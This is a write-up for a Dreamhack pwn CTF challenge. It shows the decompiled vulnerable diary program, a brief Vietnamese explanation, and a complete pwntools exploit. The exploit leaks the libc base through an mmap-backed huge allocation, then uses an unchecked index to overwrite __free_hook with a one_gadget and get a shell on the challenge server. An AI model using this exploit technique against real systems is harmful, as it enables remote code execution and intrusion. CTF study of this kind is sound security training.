pwn - 721 - Santa claus is coming to town
산타 할아버지는 알고계신대. 누가 착한 앤지 나쁜 앤지 ...??? 어떻게??? 취약점을 찾아 셀을 획득한 후 flag 파일을 읽으세요. 플래그 형식은 DH{…} 입니다.
Vulnerability: arbitrary size allocation; out-of-bound write - improper index check
December 23, 2025
•
December 18, 2025
•
Easy
Recon
Mitigation

Code
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+8h] [rbp-1B8h] BYREF
int v4; // [rsp+Ch] [rbp-1B4h]
__int64 v5; // [rsp+10h] [rbp-1B0h] BYREF
__int64 v6; // [rsp+18h] [rbp-1A8h] BYREF
int s[102]; // [rsp+20h] [rbp-1A0h] BYREF
unsigned __int64 v8; // [rsp+1B8h] [rbp-8h]
v8 = __readfsqword(0x28u);
init(argc, argv, envp);
v3 = 0;
v4 = 0;
v5 = 0LL;
v6 = 0LL;
memset(s, 0, 400uLL);
intro();
while ( 1 )
{
while ( 1 )
{
print_menu();
v3 = 0;
__isoc99_scanf("%d", &v3);
if ( v3 == 2 )
break;
if ( v3 == 3 )
{
if ( (unsigned int)santa_came(s) )
{
puts("Santa Claus : Oh... You're such an honest kid.");
puts("Santa Claus : Tell me if you have any memories you want to change and erase in this year.");
v4 = check_offset();
if ( !v4 )
exit(0);
printf("what line you edit : ");
__isoc99_scanf("%ld", &v6);
if ( v6 < 0 )
{
puts("Wrong input");
exit(0);
}
printf("Change memories to : ");
read(0, (void *)(16 * (v6 - 1) + *(_QWORD *)&s[4 * v4 + 2]), 0x10uLL);
free(*(void **)&s[4 * v4 + 2]);
exit(0);
}
puts("Santa Claus just left...");
exit(0);
}
if ( v3 == 1 )
{
v4 = check_offset();
if ( v4 )
{
if ( v4 == s[4 * v4] )
{
puts("You already wrote.");
}
else
{
s[4 * v4] = v4;
printf("How many lines will to write? (1 line = 16 words) : ");
__isoc99_scanf("%ld", &v5);
s[4 * v4 + 1] = v5;
*(_QWORD *)&s[4 * v4 + 2] = malloc(16 * v5);
puts("\n~~~~~~~~~~contents~~~~~~~~~~");
read(0, *(void **)&s[4 * v4 + 2], 16 * v5 - 1);
}
}
}
else
{
puts("Wrong input");
}
}
v4 = check_offset();
if ( v4 )
{
if ( s[4 * v4] )
{
printf("\nPages : %p\n", *(const void **)&s[4 * v4 + 2]);
printf("Contents : %s", *(const char **)&s[4 * v4 + 2]);
}
else
{
puts("You haven't written yet.");
}
}
}
}
// 920: using guessed type __int64 __isoc99_scanf(const char *, ...);
// A80: using guessed type __int64 __fastcall init(_QWORD, _QWORD, _QWORD);
// AFC: using guessed type __int64 check_offset(void);
// B91: using guessed type __int64 __fastcall santa_came(_QWORD);
// C07: using guessed type __int64 intro(void);
// C91: using guessed type __int64 print_menu(void);
// CD9: using guessed type _DWORD s[102];
//----- (00000000000010C0) ----------------------------------------------------
void __fastcall _libc_csu_init(unsigned int a1, __int64 a2, __int64 a3)
{
signed __int64 v4; // rbp
__int64 i; // rbx
v4 = &_do_global_dtors_aux_fini_array_entry - &_frame_dummy_init_array_entry;
init_proc();
if ( v4 )
{
for ( i = 0LL; i != v4; ++i )
((void (__fastcall *)(_QWORD, __int64, __int64))*(&_frame_dummy_init_array_entry + i))(a1, a2, a3);
}
}Solve
Malloc một chunk size cực lớn -> mmap sẽ được dùng để lấy một vùng ngay sau heap và trước libc. Từ địa chỉ chunk tính được địa chỉ libc. Sau đó chọn option 3, không kiểm tra line -> out of bound write -> overwrite free hook.
Script
#!/usr/bin/env python3
from pwn import *
exe = ELF("santa_coming_to_town_patched")
libc = ELF("libc-2.27.so")
ld = ELF("ld-2.27.so")
context.terminal = ['tmux', 'splitw', '-h']
context.binary = exe
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
pa = lambda text, addr: print(text, hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\x00"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
gdbscript = '''
set follow-fork-mode parent
set detach-on-fork on
continue
'''
def conn():
if args.LOCAL:
p = process([exe.path])
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
if args.DEBUG:
context.log_level = 'debug'
return p
else:
host = "host3.dreamhack.games"
port = 10078
return remote(host, port)
p = conn()
def write_diary(offset, lines, content):
slan(p, b'>>', 1)
slan(p, b'date', offset)
slan(p, b'to write?', lines)
sla(p, b'contents', content)
def read_diary(offset):
slan(p, b'>>', 2)
slan(p, b'date', offset)
for i in range(2, 26):
write_diary(i, 1, b'A')
write_diary(1, 4096 * 50, b'A')
read_diary(1)
ru(p, b'Pages : ')
heap_leak = leak_hex(rn(p, 14))
pa("heap leak", heap_leak)
libc.address = heap_leak + 0x320ff0
pa("libc base", libc.address)
free_hook = heap_leak + 16 * (0x70e8e - 1)
pa("free hook", free_hook)
slan(p, b'>>', 3)
slan(p, b'date', 1)
slan(p, b'edit', 0x70e8e)
sla(p, b'memories', b'A' * 8 + p64(libc.address + 0x4f302))
ia(p)